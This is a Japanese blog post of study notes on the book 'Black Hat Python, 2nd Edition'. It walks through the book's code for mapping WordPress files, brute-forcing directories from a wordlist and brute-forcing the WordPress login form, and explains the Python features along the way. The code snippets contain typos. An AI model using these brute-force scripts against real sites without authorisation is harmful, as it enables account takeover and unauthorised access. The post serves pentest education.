yyBlack Hat Python, 2nd Edition
Python Programming for Hackers and Pentesters
by Justin Seitz and Tim Arnold
no starch press
April 2021, 216 pp.
流石に本書に書いてある文章をそのまま訳してつらつら書くわけにはいかない。
ここでは誰でもフリーにダウンロードできる本書中のソースコードにおいて、大切な所や少し難しい所の説明を軽く挟んでいくだけ。
はしょった部分も沢山ある。
重要な部分は実際に本書を読まなければ知ることができない。
本書をすでに購入済みの人がその本片手に参考にするような記事になっている。
是非『Black Hat Python, 2nd Edition Python Programming for Hackers and Pentesters』を手に取ってその周辺の重要な説明部分にも目を通すことを勧める。
WordPress仕様のWebサーバーに対するファイルマッピング
まず、今回は無視するファイル拡張子の一覧がFILTEREDで定義されてる。
FILTERED = [".jpg", ".gif", ".png" , ".css"]
gather_paths関数
gather_paths関数で当該ディレクトリ中のファイルを走査して、上でフィルタリングした以外のファイルを抜き取る。
def gather_paths(): for root, _, files, in os.walk('.'): for fname in files: if os.path.splitext(fname)[1] in FILTERED: continue path = os.path.join(root, fname) if path.statswith('.'): path = path[1:] print(path) web_paths.put(path)
os.walkで指定したディレクトリをルートとするディレクトリツリー、に含まれる各ディレクトリごとに
(ディレクトリパス, ディレクトリ名, ファイル名)
のタプルを返す(実を言うとジェネレータ)。
(os.walkの例)
変数filesに対応するのは上の画像のようにファイル名のリスト。
os.path.splitextは引数について、ファイル名と拡張子とに分割する。
>>> fname = 'detector.py' >>> os.path.splitext(fname) ('detector', 'py')
つまりos.path.splitext[1]は拡張子のこと。
これがFILTEREDのどれかつまり今回無視するやつだったらcontinueで無視る。
if path.startswith('.'): path = path[1:]
このコードは例えば
./detector.py
が
/detector.py
になる。
最終的に得られたパスたちはweb_paths変数で定義されたキューに格納されていく。
osモジュールの公式ドキュメント👇
chdir関数
説明のためif __name__ == ‘__main__’:ブロックも合わせて載せておく。
その際/Users/hashibirokou/Downloadsの部分は自分の環境に合わせて書き換えておくように。
@contextlib.contextmanager def chdir(path): this_dir = os.getcwd() os.chdir(path) try: yield finally: os.chdir(this_dir) if __name__ == '__main__': with chdir("/Users/hashibirokou/Downloads"): gather_paths()
chdir関数は簡単に言うと、引数で指定したディレクトリに移動して、でも最後はしっかりと元居たディレクトリに戻るという動きをするもの。
べつにこのchdir関数が何かするとか何かを出力するとかじゃなくて、本当にただ(gather_paths関数の為に)ディレクトリを移動するだけ。
この実行例見れば分かる👇
>>> @contextlib.contextmanager ... def chdir(path): ... this_dir = os.getcwd() ... os.chdir(path) ... try: ... print("I'm in the try block.") ... yield ... finally: ... os.chdir(this_dir) ... >>> with chdir('/Users/hashibirokou/Downloads') as f: ... print(f) ... I'm in the try block. None >>>
yieldで産出された値がasの後に書いてあるfに入れられるど、print(f)とやってもNone。
なーんも入ってへん😛。
このchdirの部分、実はPython特有の機能をガンガン活用してる結構難しめのやつ。
一応説明してみる。
まず@contextlib.contextmanagerをつけてジェネレータ関数を定義するとコンテキストマネージャーを作ることができる。
だから今回はchdirがコンテキストマネージャーになった。
そして確かに
with chdir("/Users/hashibirokou/Downloads"): gather_paths()
とwith文に渡してる。
まとめる。
mapper.pyを実行すると/Downloadsディレクトリに移動して、そこでgather_paths関数を実行。
つまりgather_paths関数は/Downloadsディレクトリで実行されるから、(本書通り)wordpressフォルダを走査してその中の目ぼしいファイルを抽出するというわけ。
ジェネレータとかコンテキストマネージャーについてはこちら👇
test_remote関数とSSLのエラーについて
test_remote関数は…
web_pathsに入ってる主要ファイル名の前にターゲットのURLを繋げる
↓
その繋ぎ合わせたURLをターゲットにリクエスト
↓
リクエストの結果ステータスコード200だったらanswersっていうキューに格納する
def test_remote(): while not web_paths.empty(): path = web_paths.get() url = f'{TARGET}{path}' time.sleep(2) r = requests.get(url) if r.status_code == 200: answers.put(url) sys.stdout.wirte('+') else: sys.stdout.write('x') sys.stdout.flush()
SSLCertVerificationError、SSErrorが出まくる。
しょうがないから、requests.getの引数にverify = Falseを指定する。
r = requests.get(url, verify=False)
その代わりにInsecureRequestWarningは出る。
このセクションでやろうとしていること
自分の環境にWordPressのディレクトリ・ファイル群をインストールして、まずそれに対してつまり自分のローカル環境でWordPressに対する主要ファイルを抽出。
↓
その抽出された主要ファイルたちはweb_pathsというキューに格納される。
↓
そしたら今度は、そのweb_pathsに格納されたファイル達(価値あるファイル達)にターゲットのURLをつけてrequestsでgetする。
(つまりターゲットのWordPressにおける主要ファイルを抽出しようとしてる。)
↓
その結果はanswersに入り、最終的にそのanswersの中身は新しいファイルmyanswers.txtに書き込まれる。
ブルートフォースでディレクトリ・ファイルを炙り出す
get_words関数
resumeっていうのは単に何かしらの問題が発生した時でも再開できるようにする為のもの。
だからresumeは文法的には重要じゃないのでその他の部分に着目する。
def get_words(resume = None): def extend_words(word): if "." in word: words.put(f'/{word}') else: words.put(f'/{word}/') for extension in EXTENSIONS: words.put(f'/{word}{extension}') with open(WORDLIST) as f: raw_words = f.read() found_resume = False words = queue.Queue() for word in raw_words.split(): if resume is not None: if found_resume: extend_words(word) elif word == resume: found_resume = True print(f'Resuming wordlist from: {resume}') else: print(word) extend_words(word) return words
get_wordsでやっていることは簡単で、WORDLISTを全て読み込んでwordsっていうキューに格納していってるだけ。
それで、返り値はそのwordsっていうキュー。
wordsっていうキューの中身はこんな感じ(部分的に抜粋)👇
deque([ '/common.php', '/common.bak', '/common.orig', '/CVS/', '/CVS.php', '/db_rebuild_autoincrement.sql', '/db_rebuild_autoincrement.sql.php', '/db_rebuild_autoincrement.sql.bak', '/db_rebuild_autoincrement.sql.orig'])
WORDLISTの中身は
common CVS root Entries lang home.php setup.php popup_help_screen.php #省略# convert_infopages_to_ezpages.sql db_rebuild_autoincrement.sql mysql_upgrade_zencart_137_to_138.sql mysql_zencart.sql techsupp.php
のように文字列がズラッと入ってる。
これをwith文でopenし、readで一括読み込みする。
with open(WORDLIST) as f: raw_words = f.read()
raw_wordsの中身は
'common\nCVS\nroot\nEntries\nlang\npopup_help_screen.php\n'
のように”\n”を含んだstr型オブジェクト。
splitしてやると
>>> raw_words.split() ['common', 'CVS', 'root', 'Entries', 'lang', 'popup_help_screen.php']
のようにリストになる。
dir_bruter関数
単純にget_words関数で得られたwordsっていうキューから単語を一つずつ取り出して、TARGETと繋ぎ合わる。
それでできたURLをターゲットにrequests.getして反応を見る。
HTMLログイン認証のブルートフォースアタック
get_params関数
def get_params(content): params = dict() parser = etree.HTMLParser() tree = etree.parse(BytesIO(content), parser = parser) for elem in tree.findall('//input'): name = elem.get('name') if name is None: params[name] = elem.get('value', None) return params
get_paramsはターゲットのwordpressログイン画面におけるhtmlソースからinputタグを見つけ、その属性nameとvalueをそれぞれキーと値にした辞書を生成する関数。
引数のcontentについては以降のBruterクラスのメソッドを見れば分かるのでここでは説明しない。
以降で示すウェブフォーム(<form>…</form>)のhtmlコードを見れば分かる通り、inputタグはログイン入力欄とパスワード入力欄だけじゃない。
type=hiddenになっているが、cookieやsubmitボタンに対するinputタグもあり、ブルートフォースの際はそれらもきちんと設定する必要がる。
get_params関数はそこで仕事をするというわけ。
理解促進のきっかけになれば:
params = {'wp-submit': 'Log In', 'testcookie': '1'}
requests、etree、HTMLParserについては別記事で👇
web_bruterメソッド
def web_bruter(self, passwords): session = requests.Session() resp0 = session.get(self.url) params = get_params(resp0.content) # <- this is the dictionary params['log'] = self.username while not passwords.empty() and not self.found: time.sleep(5) passwd = passwords.get() print(f'Trying username/passwords {self.username}/{passwd:<10}') params['pwd'] = passwd resp1 = session.post(self.url, data = params) if SUCCESS in resp1.content.decode(): self.found = True print(f"\nBruteforcing successful.") print(f"Username is %s" % self.username) print(f"Password is %s" % passwd) print(f"done: now cleaning up other threads...")
requests.Sessionはcookieとかリクエストした時のパラメータとかを自動で適切に処理してくれる便利なやつ。
でも取り扱う値とかは今までと同じで、session.get(self.url)でgetしてresp0.contentで中身を見る。
wordpressにおけるログイン画面のhtmlコードはこのようになっている(簡略化ver):
<form action="http://target.com/wp-login.php" method="post"> <p> <label>ユーザー名またはメールアドレス</label> <input type="text" name="log" id="user_login" value=""/> </p> <div class="user-pass-wrap"> <label>パスワード</label> <div class="wp-pwd"> <input type="password" name="pwd" id="user_pass" value=""/> </div> </div> <p class="submit"> <input type="submit" name="wp-submit" value="Log In" /> <input type="hidden" name="testcookie" value="1" /> </p> </form>
繰り返しになるが、変数paramsはinuptタグの属性nameとvalueを組みとした辞書。
params['log'] = self.username
この一行は後のブルートフォースアタックで必要になる、wordpressログイン画面でユーザー名を入力する欄のinputタグの属性nameにself.usernameを設定しているということ。
self.usernameはターゲットのwordpressログイン名。
while not passwords.empty() and not self.found: time.sleep(5) passwd = passwords.get() print(f'Trying username/passwords {self.username}/{passwd:<10}') params['pwd'] = passwd resp1 = session.post(self.url, data = params)
ワードリストであるpasswords(キュー)が空じゃない、かつ変数self.foundがTrueでない限り(これがTrueになるのは見事パスワードを発見した時)postしまくる。
まさにここがブルートフォースを行っている部分。
whileループで、その都度passwordsっていうキューから単語をとって、辞書paramsのキーpwdに対する値としてセットする。
wordpressログイン画面で、パスワードを入力する欄のinputタグのname属性がpwdである(上のhtmlコード参照)。